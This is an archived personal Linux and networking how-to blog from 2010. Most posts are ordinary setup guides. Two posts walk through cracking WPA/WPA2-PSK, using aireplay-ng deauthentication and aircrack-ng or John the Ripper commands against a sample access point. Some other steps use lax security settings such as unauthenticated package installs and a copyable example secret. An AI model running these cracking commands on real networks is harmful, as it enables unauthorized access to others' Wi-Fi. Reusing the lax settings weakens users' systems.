Wednesday, May 12, 2010

HOWTO : phpmyadmin on Ubuntu 10.04 LTS Server

Since there is a bug in PHP5 on Ubuntu 10.04 LTS, the sessions are saved at /tmp instead of /var/lib/php5. Some PHP applications may not encountered any problem. However, phpmyadmin do run into problem - cannot login. Don't panic, I will show you how to solve this problem at ease.

Bug fix on PHP5

Do one of the following command depends on your situation.

sudo nano /etc/php5/cgi/php.ini

or

sudo nano /etc/php5/apache2/php.ini

or

sudo nano /etc/php5/cli/php.ini

Make the following changes to php.ini.

session.save_path = /tmp
session.auto_start = 1


Installation of phpmyadmin

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install phpmyadmin


Make sure mysql and php5 are already installed.

Configuration file of Apache2 and lighttp will be setup automatically after answering several questions. Write down what password you have entered.

sudo cp /usr/share/phpmyadmin/config.inc.php /usr/share/phpmyadmin/config.inc.php.bak

sudo cp /usr/share/phpmyadmin/config.sample.inc.php /usr/share/phpmyadmin/config.inc.php

sudo nano /usr/share/phpmyadmin/config.inc.php

Locate $cfg['blowfish_secret']='' and enter some password like string, e.g. dlhw034tu034F&W.

The outcome will be :
$cfg['blowfish_secret']='dlhw034tu034F&W'

Save and then reboot your server. Or,

sudo /etc/init.d/php-fcgi restart
or
sudo /etc/init.d/php restart

Then, restart Apache or your web server
sudo /etc/init.d/apache2 restart

Access phpmyadmin with your browser and point the url to :
http://your_server_ip/phpmyadmin

username is "root" while the password is what you have entered during installation.

This bug has been reported by someone else. I think the fix will be released soon.

That's all! See you.

Saturday, May 08, 2010

HOWTO : Docky on Ubuntu 10.04

Do you think that a Mac OS style dock is wonderful? Yes, you can have one on your Ubuntu 10.04 desktop.

However, make sure your display card can run Compiz or say 3D desktop. Most recent built (2 to 3 years time) display cards can run Compiz flawlessly.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install docky gnome-do-docklets


Here is the demo of Docky.

That's all! See you.

HOWTO : Ubuntu 10.04 runs more faster

Ubuntu 10.04 is running quiet fast. However, you want more speed ....

Step 1 :

sudo nano /etc/fstab

Step 2 :
Append "norelatime" to the mount parameter and the outcome may be as the following -

proc /proc proc nodev,noexec,nosuid 0 0
# / was on /dev/sda1 during installation
UUID=26c0248f-a2a8-41bf-8222-37cba4e419db / ext4 errors=remount-ro,norelatime 0 1
# swap was on /dev/sda5 during installation
UUID=1c2f38cb-2c0e-4d2f-9055-e0643a970b1f none swap sw 0 0

Step 3 :

sudo mount -a

If there is no error, go ahead to next step. Otherwise, fix the typing error if any.

Step 4 :

sudo mount -o remount /

YouTube demo

That's all! See you.

HOWTO : Fix blank screen on Ubuntu 10.04

You may experienced blank screen when bootup a Live CD of Ubuntu 10.04 if you have legacy display card no matter it is an Intel, nVidia, ATi or others. You can fix it by adding a Kernel parameter.

The Kernel parameter for different display cards is :

Intel display card - i915.modeset=1
nVidia display card - nomodeset
Generic - xforcevesa

Boot up - Live CD

Step 1 :
Bootup and press any key at the screen of a little keyboard and a human with a circle at the bottom of the screen.

Step 2 :
Press F6 and then Esc.

Step 3 :
Append one of the above Kernel parameter at the end of the command line.

Step 4 :
Select try out Ubuntu (i.e. the first option of the boot menu).

Boot up - after installation

You may also encounter blank screen after installation with the above method.

Step a :
Bootup with Live CD and follows the Step (1) to (4) as above mentioned.

Step b :
After bootup, mount the hard drive at the "Place".

Step c :
Open a terminal and issue the following command -

sudo nano /etc/default/grub

Step d :
Locate the following line and append the Kernel parameter and make the output looking like as the following if you have an Intel display card -

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i915.modeset=1"

OR

Step d(1) : (Optional)

sudo nano /boot/grub/grub.cfg

Locate the "linux" tag and add the parameter at the end of "quiet splash". Then jump to Step f.

Step e :
Save and exit. Then issue the following command -

sudo update-grub

Step f :
Then reboot the system without Live CD.

If Step a to f does not work, just do Step a, b, d(1) and then jump to Step f.

That's all! See you.

Tuesday, May 04, 2010

HOWTO : RealTek 8192SU USB dongle (RTL8192SU) on Ubuntu 10.04

D-Link DWA-131 Nano USB Wireless N adapter (USB dongle) is using RealTek 8192SU chip. However, it does not work on Ubuntu 10.04. This chip does work on Kernel 2.6.33. That is, this chip may work on Ubuntu 10.10 or later.

The current version of RealTek 8192SU Linux driver is 0006 which is for Kernel 2.6.18 to 2.6.31 and dated 2010-03-25. However, Ubuntu 10.04 is using Kernel 2.6.32. You may encounter compile errors under Ubuntu 10.04. Don't panic, I have the solution.

Step 1 :

RealTek 8192SU driver from official site

or download it from here.

wget http://samiux.volospin.com/rtl8192SU_usb_linux_v2.6.0006.20100226.zip

Step 2 :

sudo apt-get install unzip

unzip rtl8192SU_usb_linux_v2.6.0006.20100226.zip

cd rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100226/driver

tar -xvzf rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100226.tar.gz

cd rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100226

Step 3 :

cd include

nano osdep_service.h

add "#include <linux/sched.h>" to the file "osdep_service.h"

the result looks like this :

#ifndef __OSDEP_SERVICE_H_
#define __OSDEP_SERVICE_H_


#include <drv_conf.h>
#include <basic_types.h>
#include <linux/sched.h>
//#include <rtl871x_byteorder.h>
......


Step 4 :

cd ..

nano Makefile

add "nullstring :=" under "export TOPDIR := $(PWD)"

locate "ifeq ($(CONFIG_BUILT_IN), y)" and make changes to this ifeq block. The result looks like this :

ifeq ($(CONFIG_BUILT_IN), y)
include $(src)/config
else
ifeq ($(TOPDIR), $(nullstring))
include config
else
include $(TOPDIR)/config
endif
endif


The result of the first 19 lines is as the following :

EXTRA_CFLAGS += -O1 -Wno-unused-variable -Wno-unused-value -Wno-unused-label -W$
EXTRA_CFLAGS += -I$(src)/include -Wno-unused -Wno-unused-function


CONFIG_BUILT_IN = n

export TOPDIR := $(PWD)
nullstring :=


ifeq ($(CONFIG_BUILT_IN), y)
include $(src)/config
else
ifeq ($(TOPDIR), $(nullstring))
include config
else
include $(TOPDIR)/config
endif
endif


ifeq ($(CONFIG_RTL8711), y)

Step 5 :

make clean
make
sudo make install


Step 6 :
sudo modprobe 8712u
echo "8712u" | sudo tee -a /etc/modules


The dongle will work now. Be keep in mind that when the Kernel is updated, you may require to re-compile the driver at Step 5.

That's all! See you.

Sunday, May 02, 2010

Apps on my Nexus One

The following are the list of the applications that I installed to my Nexus One. Some applications are for Hong Kong only.

Android Web Desktop - SmartDog Studio
DNS Lookup - Magnus Eriksson
Network Speed - pt
Webshot - Liqiang
HowSteep LiteWeight - Smallbouldering Projects
Penetrate - Diogo Ferreira
GPS Essentials - mictale
APN Backup & Restore - Ritesh Sahu
AndFTP - LYSESOFT
Useful Numbers - KArKiN
Network Info - alt236
IPdroid - Bo Yan
Quick Uninstaller - (B&B (Bread & Butter) Tool
StopWatch - sportstracklive.com
香港通宵交通 - hkmung
Metro Radio - Metro Broadcast Corp.
大牛新聞 - NubiNews
EStrongs Task Manager - EStrongs
GoMarks - AndroAppsDev
Mind Map Memo - takahicorp
Mark Six Widget (六合彩) - bitartist
ConnectBot - Kenny Root and Jeffrey Sharkey
am730 - Nuthon IT Solutions Ltd
HK Weather Widget - Tako Au
ColorNote Notepad Notes - Notes
EStrongs File Explorer - EStrongs
aFirewall - Lucky-dog Xing
Compass - Snaptic
ShopSavvy - Big in Japan, Inc.
QR Code - DrHu
Tip Calculator by TradeFields - iStockManager
Agile Stock for Hong Kong - Francis Chong
IP Address Calculator - Slackey Software
Dictionary - ZH-EN - CallSpark

That's all! See you.

Friday, April 16, 2010

HOWTO : Crack WPA/WPA2-PSK with dictionary

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :
apt-get install wpa-wordlist

Step 2 :
airmon-ng start wlan0

Step 3 :
airodump-ng mon0

Step 4 :
airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

Step 5:
aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

Step 6 :
aircrack-ng output-01.cap -w /pentest/password/wordlist/wpa.txt

Good luck!

WARNING : Do NOT crack any wifi router without authorization or you may be put into jail.

That's all. See you!

HOWTO : Crack WPA/WPA2-PSK with John the Ripper

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

I have a better solution to crack WPA/WPA2-PSK (in theory, it must success) but it requires hours to years to crack depending on the strength of the key and the speed of the hardwares. The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :
airmon-ng start wlan0

Step 2 :
airodump-ng mon0

Step 3 :
airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

Step 4 :
aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

Step 5 :
/pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:24:B2:A0:51:14 -w - output*.cap

You are required to wait for hours or years for the cracking which is depends on how powerful your hardwares are and strength of the key. CUDA will make the work more easier but it may also need years or so just depends.

WARNING : Do NOT crack any wifi router without authorization or you will be put into jail.

That's all. See you!

Tuesday, April 06, 2010

Wifi is not 100% safe

There are several protections for wifi, they are WEP, WPA and WP2. WEP can be cracked easily. WPA and WP2 are also not safe recently no matter you are using AES or TKIP encryptions for your PSK. However, at least one client is connecting to the wifi router and your WPA/WPA2 key is in the dictionary (password list) of the cracker so as the cracker can crack WPA/WPA2-PSK.

Recommendation

(1) at least use WPA2-Personal with AES encryption for the key (most likely for home users) or use Captive Portal if any;
(2) keep your WPA/WPA2 key as long (the longest is 63 characters) and complicated as possible, it should includes capital and small letters, symbols and numbers (however, some devices may not recognize such length of the key);
(3) enable MAC address filter (if possible; but not quiet useful for higher security);
(4) do not use factory's WPS feature (or similar, e.g. QSS) as it is quiet danger for users but convenience for crackers;
(5) change your WPA/WPA2 key often; and
(6) use WPA2-Enterprise if possible (it is the highest security so far).

Be keep in mind that this settings may not be worked tomorrow. The world is changing very fast.

By the way, hidden BSSID and MAC address filter are useless as crackers can obtain such information very easy.

That's all! See you.

Wednesday, March 31, 2010

HOWTO : DD-WRT on TP-Link TL-WR1043ND

TP-Link TL-WR1043ND comes with 1 Gigabit WAN and 4 Gigabit LAN as well as 1 USB port. The USB port is for storage purpose. It is a 300Mbps N Wireless router.

This router can flash to DD-WRT to enhance its features. One interested thing is that it can support 3.5G USB modem after flashing to DD-WRT. As far as I know, it supports Hauwei 3.5G modem only. After flashed to DD-WRT, your router can act as a VPN server. It also supports WDS.

Step 1 :

Download the DD-WRT for this router. Beware, other version of DD-WRT does not work on this router; otherwise, your router will be bricked.

The current version of DD-WRT at the time of this writing for this router is V24 preSPs2 r14144.

If you are the first time to flash the router (not upgrading), download the file "factory-to-ddwrt.bin". If you are upgrading the DD-WRT of this router, download the file "tl-wr1043nd-webflash.bin" instead. IF YOU WANT TO UPGRADE TO NEWER VERSION OF DD-WRT, THIS TUTORIAL IS USELESS!

Step 2 :

Connect the router and computer via the LAN port. Point your browser to http://192.168.1.1. Enter "admin" for username and password.

Step 3 :

Flash the DD-WRT firmware from the official webpage as usual. DO NOT UNPLUG THE CABLE AND SWITCH OFF THE COMPUTER AS WELL AS ROUTER WHEN FLASHING THE FIRMWARE.

Step 4 :

After the router is rebooted, telnet to the router :

telnet 192.168.1.1

Username is "root" and password is "admin".

Issue the command :

mtd -r erase nvram
reboot

After the router is rebooted, unplug the power cable of the router and wait for a while. Then plug in the power cable again. Now, your router is ready to use and it is DD-WRTed.

Step 5 :

Use your browser to point to http://192.168.1.1. Then change the username and password. Be careful, do not mis-type the username. However, you can change the username and password later.

Step 6 (Optional) :

Flash back to factory firmware.

Download the modified factory firmware at here. Extract and save it to a USB stick. Insert the USB stick to the USB port of the router.

Telnet to the router. Make sure the USB stick is connected and mounted.

mtd -e linux -r write /mnt/<firmwarefilename.bin> linux

The screen will display :

root@ router_name:/tmp# mtd -e linux -r write /mnt/0x20200.bin linux
Unlocking linux ...
Erasing linux ...
Writing from /mnt/0x20200.bin to linux ... [w], which the [w] will change between [w] and [e]


After a few minutes, the following is shown :

Connection to host lost.

After these steps, the router will be flashed back to factory firmware.

** Beware, I did not try this Step 6 myself. Or, your router will be bricked. **

**IMPORTANT**

Make sure the SSH and Telnet are disabled on the flashed dd-wrt router; otherwise, you will be hacked.

That's all! See you.

Saturday, February 27, 2010

HOWTO : Real 3D desktop on Ubuntu 9.10

Compiz fusion plugin - Anaglyph can make your screen to be a real 3D display.

Step 1 :
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install compiz-fusion-bcop compiz-dev build-essential libtool libglu1-mesa-dev libxss-dev git-core compizconfig-settings-manager


Step 2 :
git clone git://anongit.compiz-fusion.org/users/wodor/anaglyph

cd anaglyph
make
sudo make install


Step 3 :
Go to "System" - "Preference" - "CompizConfig Settings Manager" - "Effect" - "Anaglyph"

Set desire keystokes and/or mouse clicks to enable the effect.

Step 4 :
Make your spectacles yourself. Right is Blue and Left is Red.

That's all! See you.

Saturday, February 20, 2010

HOWTO : Changing Time Zone on Ubuntu 9.10

In case you need to change your current time zone, you can do it this way.

sudo dpkg-reconfigure tzdata

That's all! See you.

HOWTO : Make SCIM as default Input Method on Ubuntu 9.10

The Input Method is default to iBus on Ubuntu 9.10. However, iBus does not provide my Chinese Input Method but SCIM has. Therefore, I need to make SCIM as default instead of iBus.

sudo im-switch -s scim

sudo update-alternatives --config xinput-zh_TW

Then, choose scim by the number and a "*" will changed to SCIM from iBus.

That's all! See you.

HOWTO : Fixing mouse click not recognized on Flash under Ubuntu 9.10

You may encounter the mouse click cannot be recongnized on Flash 10.0 r45 under Ubuntu 9.10 AMD64. This tutorial shows you how to fix it.

sudo nano /usr/lib/nspluginwrapper/i386/linux/npviewer

Add the following line right before the LAST line of the file.

export GDK_NATIVE_WINDOWS=1

The final look would be :

#!/bin/sh
TARGET_OS=linux
TARGET_ARCH=i386
export GDK_NATIVE_WINDOWS=1
. /usr/lib/nspluginwrapper/noarch/npviewer


That's all! See you.

Thursday, February 18, 2010

HOWTO : Untangle 7.1 on Intel Desktop Board D510MO

*** UPDATED ON NOVEMBER 20, 2010 : This tutorial is also work for Untangle 8.0 on Intel Desktop Board D510MO. The Realtek wireless card driver is updated to r8168-8.020.00. ***

Intel Desktop Board D510MO equipped with Intel Atom D510 processor and Realtek 8168B PCI-e onboard LAN. It is launched in the first quarter of 2010. The board will be available on Jan 4, 2010 in Hong Kong.

** This tutorial is prepared by me on Jan 2, 2010. Now, I share it here as there are some users do not know how to install Untangle 7.1 on this good motherboard. **

The kernel of Untangle 7.1 does not work on the captioned LAN card on the motherboard. We need to do something to make it work. However, Ubuntu 9.10 do recognized the onboard LAN card.

Step 1 :

Insert another new PCI LAN card to the motherboard. I recommended not to use Realtek chipset LAN card. I use D-Link Gigabit PCI Ethernet Card (DGE-530T) which is equipped with Marvell chipset and it is a low profile design.

The onboard Realtek LAN will be eth1 while the new inserted LAN card will be eth0.

Plug the CAT5e or CAT6 cable to the eth0 which then connect to the internet and the cable that connected to eth1 will be plugged into the gigabit switch.

Step 2 :

Install Untangle as usual. In the first stage of installation, the Untangle will recognize two network interfaces. However, the system reboot automatically and go to stage 2. Make sure to select "Video Safe Mode" to boot to the next stage of installation. Otherwise, you may encounter the display problem - no screen at all. You can press "CTRL+ALT+Plus" one or two times or may be three times to make the display work. However, the resolution is not correct at all.

Then, the Untanlge only see one network interface which is the eth0 - the PCI LAN card. Go ahead to install.

Step 3 :

After the installation, you will go to the web interface. Exit it and go to the "Terminal" at the dock. Type your desired password (you set it this time) twice. Then, you will ask for password again. Key in and a terminal will be displayed.

nano /etc/apt/sources.list

Copy and paste the following lines to the source.list file.

deb http://ftp.debian.org/debian/ lenny main contrib non-free
deb-src http://ftp.debian.org/debian/ lenny main contrib non-free


Save it.

Step 4 :

apt-get update
apt-get install gcc make
apt-get install linux-headers-`uname -r`


ln -s /usr/src/linux-headers-`uname -r` /usr/src/linux

Step 5 :

The current version of Realtek 8168B driver at the time of writing is 8.015.00 which is released on November 27, 2009.

Download the Realtek 8168B driver from the Realtek official site at Realtek Official Site.

Or, download as the following :

wget http://samiux.volospin.com/r8168-8.015.00.tar.bz2

tar -xvjf r8168-8.015.00.tar.bz2
cd r8168-8.015.00


rmmod r8169

sh autorun.sh

lsmod | grep r8168

If it is not exist, do the following :

depmod -a
modprobe r8168


Step 6 :

echo "\nblacklist r8169\n" >> /etc/modprobe.d/blacklist

mv /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko.bak

* The above is two lines of command.

Step 7 :

mv /boot/initrd.img-`uname -r` /boot/initrd.img-`uname -r`.bak

mkinitramfs -o /boot/initrd.img-`uname -r` `uname -r`

* The above is two lines of command.

Step 8 :

Uncomment the two entries that added to the file /etc/apt/sources.list previously with "#". Make sure you do this step; otherwise it will affect the Untangle when there is an update.

Reboot Untangle and then configure the box accordingly.

Reference

Intel D510MO motherboard
Untangle Official Site

Known issue

When the kernel of Untangle is updated, you need to recompile and reinstall the Realtek driver.

That's all! See you.

Tuesday, February 16, 2010

HOWTO : MyGica D689 USB HDTV dongle and VideoLan on Ubuntu 9.10

We can watch digital TV including HDTV on Ubuntu 9.10 with MyGica D689 USB HDTV dongle. You may also require to buy a new nVidia series 9000 or up display card. Since series 9000, nVidia display card supports hardware acceleration for playing HD video.

In order to keep my Ubuntu box easy for update and secure, I prefer to install software packages from official and PPA repositories. However, I need to compile the MyGica driver in order to make it works. I selected VideoLan for the playback.

Hardware and software used in this tutorial :

CPU - AMD Athlon 64 x 2 4200+
RAM - 8GB DDR2 800
Hard Drive - 320GB x 2 on Hardware RAID 0
HDTV - MyGica D689 HDTV USB dougle (v3.0)
Display card - XFX nVidia GT240 with 1GB DDR3 RAM and HDMI
Operating system - Ubuntu 9.10 Desktop AMD64 with Kernel 2.6.31-19-generic

The following procedures are for installing PPA nVidia display driver.

Step 1 - Add essential repositories :

(A) Add medibuntu repository (for general multimedia codecs and plugins)

sudo wget http://www.medibuntu.org/sources.list.d/karmic.list --output-document=/etc/apt/sources.list.d/medibuntu.list &&
sudo apt-get -q update &&
sudo apt-get --yes -q --allow-unauthenticated install medibuntu-keyring &&
sudo apt-get -q update


** Note : If you are using Ubuntu Samiux Remix, you are not required to add this repository as it is already added.

(B) Add nvidia-vdpau repository (for related VDPAU libraries)

echo "deb http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu karmic main" | sudo tee -a /etc/apt/sources.list.d/nvidia-vdpau.list
echo "deb-src http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu karmic main" | sudo tee -a /etc/apt/sources.list.d/nvidia-vdpau.list


Add key of nvidia-vdpau repository to the keyrings.

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CEC06767

sudo apt-get update
sudo apt-get upgrade


** Remarks : Or, you can use this command
sudo sh -c 'echo "Test I want to write" > /path/to/file'

Step 2 - Install all related softwares, codecs and plugins :

sudo apt-get install x264 vlc mencoder qt4-qtconfig

sudo apt-get install ubuntu-restricted-extras quicktime-utils quicktime-x11utils libdvdnav4 libdvdread4 libdvdcss2 non-free-codecs faad

Then, reboot your system.

Step 3 - Install nVidia display driver

Select "System" - "Administration" - "Hardware driver" from the menu on the desktop.
Choose nVidia display driver 195 version as prompted. After the install, you are required to reboot your system.

Reboot your system.

Step 4 - Confirmation of VDPAU drivers are installed

Make sure "vdpau" is installed and activated.

ffmpeg -formats | grep vdpau

If you can see some vdpau displayed, vdpau works.

Step 5 - Install MyGica D689 driver :

sudo apt-get install mercurial

At you desired directory, such as /home/samiux.

mkdir mygica
cd mygica
hg clone http://bitbucket.org/davidtlwong/mygica_x8558pro
cd mygica_x8558pro


make
sudo make install


** Note : If you see an error of compiling FireDTV, you should do the following.

nano v4l/.config

Locate "CONFIG_DVB_FIREDTV=m" and change to "CONFIG_DVB_FIREDTV=n"

Save it and run "make" again.

make
sudo make install


Step 5a - Alternative way to install MyGica driver (Optional) :

** Note : Choose Step 5 or 5a only but not both of them.

Or, you can install this version. I prefer this version.

MyGica driver version used (Tip's version) :
Download Tip's version

wget http://bitbucket.org/davidtlwong/mygica_x8558pro/get/tip.tar.gz

tar -xvzf tip.tar.gz
cd mygica_x8558pro

make
sudo make install


** Note : If you see an error of compiling FireDTV, you should do the following.

nano v4l/.config

Locate "CONFIG_DVB_FIREDTV=m" and change to "CONFIG_DVB_FIREDTV=n"

Save it and run "make" again.

make
sudo make install


Tip's version changelog

When the kernel is updated, you should delete the directory of mygica_x8558pro and redo the following :

tar -xvzf tip.tar.gz
cd mygica_x8558pro

make
sudo make install


Step 6 - VideoLan Configuration :

The following should be done. Otherwise, your playlist cannot be saved.

"System" - "Preference" - "Qt4 setting" - "Appearance" - "GUI Style" - "Cleanlooks"

Start VideoLan and configure as the following :

"Media" - "Open Capture Device Ctrl C" - "Capture Mode" - "DVB" - "DVB type" - "DVB-T"

The channels will be scanned but it need a lot of time. You just wait it to finish.

After that, you can save the playlist by "Media" - "Save playlist to the file".

You may delete some duplicated channels on the playlist.

Or, you can download an example at here for reference.

You should load the playlist when you watch HDTV or TV every time.

You may need to do some tuning at "Tool" - "Preference" - "Input & Codec" :

Do some setting on "Cache" or/and "Skip the loop filter for H.264 decoding" when necessary.

Step 7 - Test your MyGica D689 (Optional) :

Insert your MyGica D689.

lsusb

The output should be :
Bus 001 Device 002: ID 0572:d811 Conexant Systems (Rockwell), Inc.

The following is for testing purpose.

sudo apt-get install dvbsnoop dvbtune

dvbsnoop -s signal

If there is some output but not error, your MyGica D689 works.

Step 8 - Streaming TV on LAN and recording TV programmes (Optional and not tested by me) :

This is work of "ksng".

Download ksng's scripts (dated 2009-NOV-26)
Download ksng's scripts (dated 2009-DEC-05)
Download ksng's scripts (dated 2010-FEB-04)

Known Issue :

When watching Standard HD TV, the workload of Athlon 64x2 4200+ is very low, says 800MHz. However, when watching Full HD TV, the workload of Athlon 64x2 will be running in full. I think modern CPU may solve this problem.

Honor :

Many thanks to David T.L. WONG for the MyGica driver while "ksng" for the streaming scripts. They are active members of HKEPC Linux forum.

That's all. See you!

Thursday, February 04, 2010

HOWTO : Django and MySQL on Ubuntu 9.10

Install MySQL and Django

sudo apt-get update
sudo apt-get install mysql-server mysql-client python-mysqldb python-django


Create a softlink
sudo ln -s /usr/lib/python-django/bin/django-admin.py /usr/local/bin/django-admin.py

Create a database namely djangodb (or any other name)
mysql -u root -p

create database djangodb;
exit


That's all! See you.

Tuesday, February 02, 2010

HOWTO : Yet Another Elastix Without Tears

This dirty guide is for making the Elastix box just work and it is for you to understand how Elastix or IP PBX works. All the dial rules setting are applied to Hong Kong only. Advanced application or configuration of Elastix is not included. If you want to learn more, you can refer to Elastix Without Tears.

Hardware
(1) Personal Computer (Mini-ITX)
- Intel ATOM D510 CPU on Intel desktop board D510MO
- 1 X 320GB Hard drive (or smaller)
- 2 X 2GB DDR2 800 RAM (total 4GB) (normally lesser RAM is okay)
- 1 X Gigabit NIC

(2) Additional Hardware
X100P - FXO card without echo cancellation (Cheap but works great for SOHO or home)
Linksys SPA941 IP Phone or Linksys SPA942 IP Phone (Optional)

*If you do not use telephone landline as dial in and out, the X100P is optional.

Software
Elastix 1.6-12 (Asterisk distribution based on CentOS 5.3 Final)
Ekiga 3.2.6 (Ubuntu 9.10 or Windows) (Softphone)

Installation of Hardware
X100P may not be recognized by Elastix due to IRQ problem on some motherboard which includes D510MO. We can overcome this problem with a very crazy step, that is, plug the X100P to the PCI slot of the motherboard with the power cable already plugged in. Use this step when necessary.

The FXO port at the X100P is connected to PSTN (analog telephone line to wall socket). The Bypass port is for connecting to the telephone set.

Installation of Elastix 1.6-12
Install the Elastix is just following the steps on screen. Make sure you write down the root password that you type in during the installation. Login the box and you will prompt the IP address, e.g. 192.168.0.100.

After the installation, you can access the web page of Elastix by entering the IP address (192.168.0.100) to the browser. The username is "admin" while the password is "palosanto". You can change the admin password later. For username and password of other components or modules, please refer to "Elastix Without Tear".

Configuration of Elastix
Log in to the web page of Elastix. Make sure the X100P card is recognized by checking the "Hardware Detection" tab at "System" tab. If everything working fine, you will see the following inside a green coloured box :

Span #1: WCFXO/0 "Wildcard X100P Board 1" (MASTER)
1 FXO In Use


Otherwise, if you see a red coloured box, you should shutdown the box and re-insert the X100P when the power cable is plugged in. If you see "1 FXO not in use" and the colour is pink, the telephone line is not plugged into the FXO port of X100P.

Step 1 : ZAP Trunk setting
Now, go to "PBX" tab. Select "Trunks" on your left hand side. You will see "Trunk ZAP/g0" on the right hand side. Click it. At the "Outbound Caller ID" fill in your home or office landline telephone number in the following format :

"Home" <23456789>

The "Dial Rules" will be "XX."

Click "Submit Changes" button and click the pink coloured bar on the top that written "Apply Configuration Changes Here" to confirm your changes. Make sure you do this step after making any changes or add any item in the Elastix box.

Step 2 : Extensions setting
Go to the "Extensions" on your left hand side. Create "Generic SIP Device". "Extensions" to be "1001". The "Display Name" is "Samiux" and the "SIP Alias" is "samiux". "secret" is "1001" or any number. "nat" is "yes".

At the "Voicemail & Directory", enabled the "Status". "Voicemail Password" is "1001". Enter your email address. Select yes on "Email Attachment", "Play CID" and "Play Envelope". Then click "Submit".

Click "Edit Follow Me Settings" on the top. "Follow-Me List:" is set to "1001". The "Destination if no answer" is set to "Voicemail: <1001> Samiux (unavail)".

Step 3 : Ring Groups setting
Go to the "Ring Groups" on your left hand side. Create a ring group "600" and give it a name to be "General". "Ring Time (max 60 sec)" fill in "60". "Extension List" is "1001". Make sure the "Ring Strategy" is "ringall". The "Destination if no answer" is set to "Voicemail: <1001> Samiux (unavail)".

Step 4 : Inbound Routes setting
Go to the "Inbound Routes" on your left hand side. Create an empty "Incoming Route". Select "Ring Groups: General <600>" at "Set Destination".

Step 5 : Outbound Routes setting
Go to the "Outbound Routes" on your left hand side. Select "0 9_outside" on your right hand side.

At the "Dial Patterns", type "9|XX." and "Trunk Sequence" should select "ZAP/g0". Then click "Submit Changes".

How it works
When someone dail to your landline 23456789, your softphone and analog phone will ring. If you do not answer after 60 seconds, the Elastx will go to Samiux's voicemail box. Make sure your softphone is running. Otherwise, the call will be diverted to the voicemail at once.

If you want to dial out via the landline to "29876543", you just key in "929876543". "9" is to get the outside tone.

If you use Ekiga (softphone) to dail to "Samiux" no matter you are in Hong Kong or other countries as well as in the same network of the Elastix, just install Ekiga and dail "sip:1001@real_ip or 192.168.0.100" or "sip:samiux@real_ip or 192.168.0.100". Make sure you are online. For example, "sip:1001@samiux.com" or "sip:samiux@samiux.com".

Router & firewall configuration
If your Elastix box is behind a router or firewall, you should do port forwarding and open the essential ports.

Port forwarding : 5060
Ports may use : 5004, 7070, 16382, 1720, 3478-9, 10000-20000

Last word
You may need to buy a DID for your Elastix box. DID is a local telephone number which can dial via internet. You can buy one in Hong kong at Hong Kong broadband 2b. It has 2 outgoing channels. Your friends in overseas can dial your DID from softphone and your softphone or IP Phone will ring.

The setting of DID should refer to Elastix Without Tears as this part does not included in this HOWTO.

Reference
Elastix

How to set up video support in Elastix

Elastix Wiki

ENUM registeration

Elastix Without Tears

X100P

Digium

Asterisk

Ekiga

That's all! See you.

Monday, February 01, 2010

HOWTO : Ubuntu 9.10 for OpenVPN

To make your Ubuntu 9.10 box to connect to OpenVPN server is very easy.

sudo apt-get update
sudo apt-get install network-manager-openvpn
sudo /etc/init.d/network-manager restart


Now, you can configure the Network Manager for any OpenVPN server.


That's all. See you!

Monday, December 28, 2009

HOWTO : Google Public DNS

Google Public DNS is a free, global Domain Name System (DNS) resolution service, that you can use as an alternative to your current DNS provider. It is faster and more secure than OpenDNS.

Configure your network settings to use the IP addresses 8.8.8.8 and 8.8.4.4 as your primary and secondary DNS servers respectively.